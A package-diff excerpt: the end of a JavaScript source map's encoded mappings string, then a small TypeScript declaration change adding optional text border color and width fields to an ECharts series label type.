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"}

package/dist/cjs/visualizations/types/index.d.ts

@@ -237,6 +237,8 @@ export type EChartsSeries = {
         formatter?: (param: {
             data: Record<string, unknown>;
         }) => string;
+        textBorderColor?: string;
+        textBorderWidth?: number;
     };
     labelLayout?: {
         hideOverlap?: boolean;